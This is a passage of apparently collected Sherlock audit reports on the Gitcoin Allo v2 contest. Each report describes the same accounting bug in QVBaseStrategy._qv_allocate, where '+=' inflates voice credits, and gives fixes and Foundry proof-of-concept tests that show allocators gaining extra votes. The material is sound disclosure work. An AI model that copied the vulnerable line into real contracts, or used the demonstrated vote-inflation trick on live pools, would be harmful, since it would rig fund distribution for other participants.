_allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\nAs you can see from the code `creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId]` in line 517 and `totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient` in line 521 and `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits` in line 529, the value `_allocator.voiceCreditsCastToRecipient[_recipientId]` will be increased by `_allocator.voiceCreditsCastToRecipient[_recipientId] + _voiceCreditsToAllocate` instead of `_voiceCreditsToAllocate`, due to the use of operator `+=` instead of operator `=` in line 529.\n\nAs a result, if the allocator calls function `_qv_allocate` again, the value `_allocator.votesCastToRecipient[_recipientId]` and `totalRecipienttVotes` can be set invalid and the funds can be distributed incorrectly.\n\n**Example:**\nSuppose that `_allocator.voiceCreditsCastToRecipient[_recipientId] = 100` and the allocator wants to allocate `50` more to the recipient.\nThen `creditsCastToRecipient = 100` in line 517 and `totalCredits = 50 + 100 = 150` in line 521 and `_allocator.voiceCreditsCastToRecipient[_recipientId]` will be `100 + 150 = 250` instead of correct value `150` in line 529. So it will be inflated by `100`.\nAs a result, if the allocator calls function `_qv_allocate` again, the value `_allocator.votesCastToRecipient[_recipientId]` and `totalRecipienttVotes` are calculated incorrectly.\n\n## Impact\nAllocations to recipients can be set invalid and funds can be distributed incorrectly.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\nReplace the operator **+=** with **=** in `QVBaseStrategy.sol`#L529.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/775.md"}} +{"title":"Incorrect state update of variable `allocator.voiceCreditsCastToRecipient[_recipientId]`","severity":"medium","body":"Mini Garnet Squirrel\n\nhigh\n\n# Incorrect state update of variable `allocator.voiceCreditsCastToRecipient[_recipientId]`\nThe internal function` _qv_allocate` is responsible for allocating voice credits to recipients. However, there is a bug in the state update of the mapping `allocator.voiceCreditsCastToRecipient[_recipientId]`. Instead of updating it with `_voiceCreditsToAllocate`, the code incorrectly updates it with `totalCredits`, potentially leading to incorrect calculations of voice credits allocated to recipients.\n\n## Vulnerability Detail\nThe bug is related to the internal function `_qv_allocate`, which is used to allocate voice credits to recipients within the contract. When the function updates the state variable `allocator.voiceCreditsCastToRecipient[_recipientId]`, it uses the ` totalCredits `variable for the update operation and `totalCredits ` is calculated by using previous values:\n```solidity\n// get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n// Incorrect state update\nallocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n\n```\n\n## Impact\n\nThis bug can have a significant impact on the accuracy of voice credit allocation to recipients. By incorrectly updating the `voiceCreditsCastToRecipient` mapping, the contract may overestimate the total voice credits allocated to a recipient, leading to incorrect payouts or calculations based on the voice credits.\n\n## Code Snippet\n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\nallocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;\n```\nor should be `= totalCredits` instead of `+= totalCredits`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/744.md"}} +{"title":"When calling `QVBaseStrategy._qv_allocate`, the variable `_allocator.voiceCreditsCastToRecipient[_recipientId]` is not updated correctly","severity":"medium","body":"Dandy Lavender Wombat\n\nhigh\n\n# When calling `QVBaseStrategy._qv_allocate`, the variable `_allocator.voiceCreditsCastToRecipient[_recipientId]` is not updated correctly\nWhen calling `QVBaseStrategy._qv_allocate`, the variable `_allocator.voiceCreditsCastToRecipient[_recipientId]` is not updated correctly resulting in the allocation of to many votes if it is called three or more times for the same recipientID\n\n\n\n## Vulnerability Detail\n\nWhen a use calls `_qv_allocate` to allocate new voting credits to an recipient, the voting credits the allocator has already casted to a recipient are added to the `_voiceCreditsToAllocate` this time. This sum (`totalCredits`) is shared and the result is used to calculate the number of additional votes the recipient should receive. Once the appropriate number of new votes are added to the recipient the number of voiceCredits the allocator has allocated to the recipient are updated. This update is not made properly because instead of adding the newly allocated voice credits (`_voiceCreditsToAllocate` ) to `_allocator.voiceCreditsCastToRecipient[_recipientId]`, the `totalCredits` are added. This results in a value for `_allocator.voiceCreditsCastToRecipient[_recipientId]` that is to high and will result in to many votes casted for the recipient if `_qv_allocate` is called more than 2 times for the same recipient.\n\nExample:\n\nAllocators can cast a max of 9 voice credits resulting in a maximum of 3 votes for one recipient.\nAllice is an allocator and allocates 1 voice credit to the recipient Bob. The votes she gives to him are sqrt(1) = 1 and `Alice.voiceCreditsCastToRecipient[Bob]` = 1.\n\nNow Allice cast 3 additional voice credit to Bob:\n\n`_voiceCreditsToAllocate ` = 3\n`Alice.voiceCreditsCastToRecipient[Bob]` = 1\n`totalCredits` = `voiceCreditsToAllocate` + `Alice.voiceCreditsCastToRecipient[Bob]` =1+3 = 4\nVotes cast to Bob = sqrt(4) = 2\nUpdated `Alice.voiceCreditsCastToRecipient[Bob]` = `Alice.voiceCreditsCastToRecipient[Bob]` + `totalCredits` = 1 + 4 = 5\n\nAlice casts her last 5 voice credit to Bob:\n\n`_voiceCreditsToAllocate ` = 5\n`Alice.voiceCreditsCastToRecipient[Bob]` = 5\n`totalCredits` = `voiceCreditsToAllocate` + `Alice.voiceCreditsCastToRecipient[Bob]` =5+5 = 10\nVotes cast to Bob = sqrt(10) = 3.16 \nThe result is that Alice managed to give 3.16 votes to Bob even though she was only supposed to be able to give a max of 3 votes to any one recipient. (in the contract, voice credits are multiplied by 1e18 to calculate the number of votes. The decimal number as a result is for simplicity) \n\n\n\n## Impact\nAllocators can allocate each of their voting credits one at the time to their favourite recipient and thereby inflate the number of votes they are giving to him. This way they can give more votes to the recipients that they should be able to. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate the variable `_allocator.voiceCreditsCastToRecipient[_recipientId]` properly by adding `_voiceCreditsToAllocate` instead of `totalCredits`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/704.md"}} +{"title":"`QVBaseStrategy.sol`: Wrong accounting of `_allocator.voiceCreditsCastToRecipient`","severity":"medium","body":"Best Porcelain Wolverine\n\nhigh\n\n# `QVBaseStrategy.sol`: Wrong accounting of `_allocator.voiceCreditsCastToRecipient`\nWrong accounting of `_allocator.voiceCreditsCastToRecipient`.\n\n## Vulnerability Detail\n\n` _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; ` should be `_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits; `\n\n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n ...\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; // @audit\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n ...\n }\n```\n\n## Impact\nThe allocator will lose voiceCredit for the target recipient. The recipient receives less votes because of wrong accounting.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\nFix L529 to `_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/701.md"}} +{"title":"QV strategy wrong `voiceCreditsCastToRecipient` update calculations","severity":"medium","body":"Boxy Clay Ladybug\n\nhigh\n\n# QV strategy wrong `voiceCreditsCastToRecipient` update calculations\nThe update calculation for `voiceCreditsCastToRecipient` inside `_qv_allocate(...)` is wrong.\n## Vulnerability Detail\nIn `_qv_allocate(..., uint256 voiceCreditsToAllocate, ...)` the variable `totalCredits = voiceCreditsToAllocate + creditsCastToRecipient` is the sum of the already delegated voice credits to the recipient and the new voice credits to be further allocated. The issue is that later in the function we have `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;` which increments the allocators casted credits with his new and old casted voice credits (rather only with the new). \n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n // code ...\n\n // @audit wrong, should be += voiceCreditsToAllocate\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n\n // more code ...\n }\n```\n### Coded POC\n1. Add the following getter function to `QVBaseStrategy.sol`\n```solidity\nfunction getAllocatorVoiceCreditsCastToRecipient(address allocator, address recipient) external returns(uint256) {\n return allocators[allocator].voiceCreditsCastToRecipient[recipient];\n }\n```\n2. Add the following test function in `QVSimpleStrategy.t.sol`\n3. Execute with forge `test --match-test testWrongVoiceCreditsToRecipient -vv `\n4. Output - the voice credits that are cast are 30 instead of 20\n```solidity\nfunction testWrongVoiceCreditsToRecipient() public {\n \n // register recipient\n address recipientId = __register_accept_recipient();\n\n vm.warp(registrationEndTime + 10);\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n\n // fund pool\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 9.9e17; // fund amount: 1e18 - fee: 1e17 = 9.9e17\n\n token.mint(pool_manager1(), 100e18);\n // set the allowance for the transfer\n vm.prank(pool_manager1());\n token.approve(address(allo()), 999999999e18);\n\n vm.prank(pool_manager1());\n allo().fundPool(poolId, 1e18);\n\n vm.warp(allocationStartTime + 10);\n\n address allocator = randomAddress();\n vm.startPrank(pool_manager1());\n qvSimpleStrategy().addAllocator(allocator);\n bytes memory allocateData = __generateAllocation(recipientId, 10);\n\n // allocate 10 credits\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, randomAddress());\n\n console.log(\"Voice Credits Cast To After 1st allocate()\", qvSimpleStrategy().getAllocatorVoiceCreditsCastToRecipient(randomAddress(), recipientId));\n \n // allocate 10 more credits, however allocator now has credited a wrong 30 credits to the recipient\n vm.startPrank(address(allo()));\n qvSimpleStrategy().allocate(allocateData, randomAddress());\n\n console.log(\"Voice Credits Cast To After 2st allocate()\", qvSimpleStrategy().getAllocatorVoiceCreditsCastToRecipient(randomAddress(), recipientId));\n\n }\n```\n## Impact\nThis will lead to an inflated `_recipient.totalVotesReceived` and will cause wrong vote accounting for any subsequent `allocate()` executions\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\n\nManual Review\nFoundry\n## Recommendation\nRework the accounting to such `_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/672.md"}} +{"title":"`QVBaseStrategy::_qv_allocate()` updates the `allocator.voiceCreditsCastToRecipient` incorrectly, which results in more votes for the recipient","severity":"medium","body":"Energetic Berry Llama\n\nhigh\n\n# `QVBaseStrategy::_qv_allocate()` updates the `allocator.voiceCreditsCastToRecipient` incorrectly, which results in more votes for the recipient\n`QVBaseStrategy::_qv_allocate()` updates the `allocator.voiceCreditsCastToRecipient` incorrectly. This leads to more voiceCredits for the recipient, which leads to more votes for the recipient and the complete miscalculation of distribution amounts.\n\n## Vulnerability Detail\nIn quadratic voting, each allocator has a `voiceCredit` and they allocate their credits to the recipients. If an allocator spreads their credits to different recipients, the same amount of credit results in more votes. But if the allocator wants to give all of their credits to only one person, the same amount of credits creates fewer votes. That's the nature of the quadratic voting.\n\nThe vote calculations are made with `sqrt` of the `voiceCredit` amounts. Allocators allocate their `voiceCredit`s to a recipient and the recipient vote count is derived from the `voiceCredit`.\n\nNow let's check the `_qv_allocate()` function. \n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C1-L534C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C1-L534C6)\n\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n--> _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; //@audit creditsCastToRecipient is added twice in here. 'totalCredits' alredy includes creditsCastToRecipient, it is never deducted. \n _allocator.votesCastToRecipient[_recipientId] += voteResult; //@audit this one is true because previos vote count (votesCastToRecipient) is deducted from the 'voteResult'\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\nThe function:\n\n1. Gets the already cast voice credits and vote counts up to this point.\n \n2. Adds the additional voice credit to the previous one to get `totalCredits`\n \n3. Calculates the corresponding vote count to the `totalCredits`.\n \n4. Deducts the previous vote count from the `voteResult` to find the exact additional vote count.\n \n5. Updates the state.\n \n\nThe reason for the vulnerability is that the state update for the `allocator.voiceCreditsCastToRecipient` is incorrect. It adds the `totalCredits` to the `allocator.voiceCreditsCastToRecipient` but the `totalCredits` already includes `voiceCreditsCastToRecipient`. Voice credit amounts are never deducted as the vote counts did.\n\n## Coded PoC\n\nNote: I added a simple view function to make the testing easier. It makes working with the foundry much simpler instead of trying to manage the tupples. You can see the additional function here.\n\n```solidity\n // Function to make testing easier\n function getAllocatorCastedPerRecipient(address _allocator, address _recipient) external view returns (uint256) {\n Allocator storage allocator = allocators[_allocator];\n uint256 x = allocator.voiceCreditsCastToRecipient[_recipient];\n return x;\n } \n```\n\nYou can use the protocol's own setup to prove the PoC below \n\\- Copy the snippet below and paste it into the `QVSimpleStrategy.t.sol` test file. \n\\- Run with `forge test --match-test test_allocate_voiceCreditsCastToRecipient_Calculation_Wrong`\n\n```solidity\n//@audit-issue - Test that every allocation will increase voice count exponantially\n function test_allocate_voiceCreditsCastToRecipient_Calculation_Wrong() public {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n \n // Add the allocator\n qvSimpleStrategy().addAllocator(allocator);\n \n // Start allocation period\n vm.warp(allocationStartTime + 10);\n\n // Create allocation data with 10 voice credits.\n bytes memory allocateData = __generateAllocation(recipientId, 10);\n\n vm.stopPrank();\n vm.startPrank(address(allo()));\n\n // I added a view function to make test easier. getAllocatorCastedPerRecipient() is a view function for the test purpose only.\n // Allocate 10 voice credits for the first time and see voiceCreditsCastToRecipient is also 10.\n qvSimpleStrategy().allocate(allocateData, allocator);\n assertEq(qvSimpleStrategy().getAllocatorCastedPerRecipient(allocator, recipientId), 10);\n\n // Allocate 10 more. But voiceCreditsCastToRecipient is now 30\n qvSimpleStrategy().allocate(allocateData, allocator);\n assertEq(qvSimpleStrategy().getAllocatorCastedPerRecipient(allocator, recipientId), 30);\n\n // Allocate 10 more. Now voiceCreditsCastToRecipient is going to be 70\n qvSimpleStrategy().allocate(allocateData, allocator);\n assertEq(qvSimpleStrategy().getAllocatorCastedPerRecipient(allocator, recipientId), 70);\n\n // Normally, allocating to the same recipient should decrease the vote counts in quadratic voting.\n // But because of this issue, allocating to the same recipient with small amounts will extremely increase the vote count.\n }\n```\n\nYou can find the test results below:\n\n```solidity\nRunning 1 test for test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest\n[PASS] test_allocate_voiceCreditsCastToRecipient_Calculation_Wrong() (gas: 337382)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.83ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Impact\nVote calculation is wrong. Normally, allocating to the same recipient should decrease the vote counts in quadratic voting. But because of this issue, allocating to the same recipient with small credits will extremely increase the vote count, and break the whole system.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n```solidity\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange this:\n```solidity\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\nTo this:\n```solidity\n _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/661.md"}} +{"title":"`QVBaseStrategy._qv_allocate()` mistakenly included `_allocator.voiceCreditsCastToRecipient[_recipientId]`, causing `_recipient.totalVotesReceived` to increase.","severity":"medium","body":"Tart Citron Platypus\n\nhigh\n\n# `QVBaseStrategy._qv_allocate()` mistakenly included `_allocator.voiceCreditsCastToRecipient[_recipientId]`, causing `_recipient.totalVotesReceived` to increase.\n\n## Vulnerability Detail\n\nL529 should use `=` instead of `+=`, because the right side is a new value (from _voiceCreditsToAllocate + creditsCastToRecipient from L521), rather than an increment `_voiceCreditsToAllocate`.\n\nThis caused an overcount of `_recipient.totalVotesReceived` the next time based on L517 and L521.\n\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L499-L534\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider changing to:\n\n```diff\n /// @notice Allocate voice credits to a recipient\n /// @dev This can only be called during active allocation period\n /// @param _allocator The allocator details\n /// @param _recipient The recipient details\n /// @param _recipientId The ID of the recipient\n /// @param _voiceCreditsToAllocate The voice credits to allocate to the recipient\n /// @param _sender The sender of the transaction\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/655.md"}} +{"title":"Invalid qv_allocate allows allocators to give unlimited votes to a recipient","severity":"medium","body":"Young Tiger Snake\n\nmedium\n\n# Invalid qv_allocate allows allocators to give unlimited votes to a recipient\n`qv_allocate` doesn't properly update recipients vote credits allowing allocators to prop up their favorite recipients\n\n## Vulnerability Detail\n\n```solidity\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient; // this is total credits of a recipient\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; // should be '=' or '+=' creditsCastToRecipient\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L514-L533\n\nAs we can `voiceCreditsCastToRecipient` is not updated properly. It essentially doubles with every vote and an allocator might benefit from it.\n\n\n\nFurthermore, `voiceCredits` is not updated for an allocator which makes this check essentially useless:\n\n```solidity\nif (!_hasVoiceCreditsLeft(voiceCreditsToAllocate, allocator.voiceCredits)) revert INVALID();\n```\n\n```solidity\n function _hasVoiceCreditsLeft(uint256 _voiceCreditsToAllocate, uint256 _allocatedVoiceCredits)\n internal\n view\n override\n returns (bool)\n {\n return _voiceCreditsToAllocate + _allocatedVoiceCredits <= maxVoiceCreditsPerAllocator;\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L144-L151\n\n## Impact\n\nIncorrect votes accounting resulting in rigged funds distribution.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] += creditsCastToRecipient; \n+ _allocator.voiceCredits += creditsCastToRecipient;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/614.md"}} +{"title":"Voice credits cast are incorrectly updated for recipients, allowing allocators to game voting to increase votes for their chosen recipient","severity":"medium","body":"Sneaky Tan Hippo\n\nhigh\n\n# Voice credits cast are incorrectly updated for recipients, allowing allocators to game voting to increase votes for their chosen recipient\n\nThe logic of the QVBaseStrategy contract `_qv_allocate` function updates the total number of credits cast to a recipient each time a given allocator has allocated voice credits to them, to allow for the correct voting calculation (e.g. applying sqrt to the total credits cast). However, the update each time voice credits are cast to a recipient from the same allocator is not implemented correctly, and will allow allocators to game the logic to cast more votes for a given recipient then they should be allowed to.\n\n## Vulnerability Detail\n\nThe `_qv_allocate` function in the QVBaseStrategy contract contains the logic which will actually update the total votes for a given recipient, based on the `_voiceCreditsToAllocate` amount from `_allocator` in this function call. This function is defined as follows: \n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; // @issue\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n}\n```\n\nNotice the following line: `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`, where `totalCredits` is defined to be the sum of the previous total amount of credits given to this recipient + the current amount being given now. The issue is clear, that the addition of `totalCredits` is too much. Let's consider the case where an allocator gives 100 credits in the following ways: (1) 100 credits in one call, (2) 50 credits over two calls.\n\n1. 100 credits/1 call: `_allocator.voiceCreditsCastToRecipient[_recipientId] = 100`\n2. 50 credits/2 calls: `_allocator.voiceCreditsCastToRecipient[_recipientId] = 50 + 100 = 150`\n\nIn total there is an increase of 50% of the total credits for that recipient when you simply split the vote over two calls. This allows the allocator to game this voting in favor of their desired recipient.\n\n## Impact\n\nAllocators are able to game the logic in `_qv_allocate` to cast more votes for a given recipient then they should be allowed to.\n\n## Code Snippet\n\nReferenced lines of code:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdate the `_qv_allocate` function logic in the QVBaseStrategy contract to the following:\n```solidity\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/592.md"}} +{"title":"Recipients are given more votes than intended to","severity":"medium","body":"Special Fiery Platypus\n\nhigh\n\n# Recipients are given more votes than intended to\nWhen the QVBase strategy is used any recipient who is allocated votes would receive much more than the allocator intended to.\n## Vulnerability Detail\nIn QVBaseStrategy.sol, the `_qv_allocate` function is responsible for allocating voice credits to a recipient. The issue is that whenever an allocator's `voiceCreditsCastToRecipient` is updated it is incremented by the `totalCredits` variable instead of the `_voiceCreditsToAllocate`. The `totalCredits` variable should be the total amount of credits an allocator has given to the recipient, whereas the `_voiceCreditsToAllocate` is the newly allocated voice credits. So whenever an allocator allocates votes to the same recipient more than one time, their entire `_allocator.voiceCreditsCastToRecipient` amount is again added to the `_allocator.voiceCreditsCastToRecipient`, whereas only the newly allocated amount should be added.\nConsequently, the `totalCredits`, used to derive the final vote result, would be inflated as it is equal to: \n`_voiceCreditsToAllocate + _allocator.voiceCreditsCastToRecipient[_recipientId];`\n## Impact\nThe QVBaseStrategy vote calculations would be completely 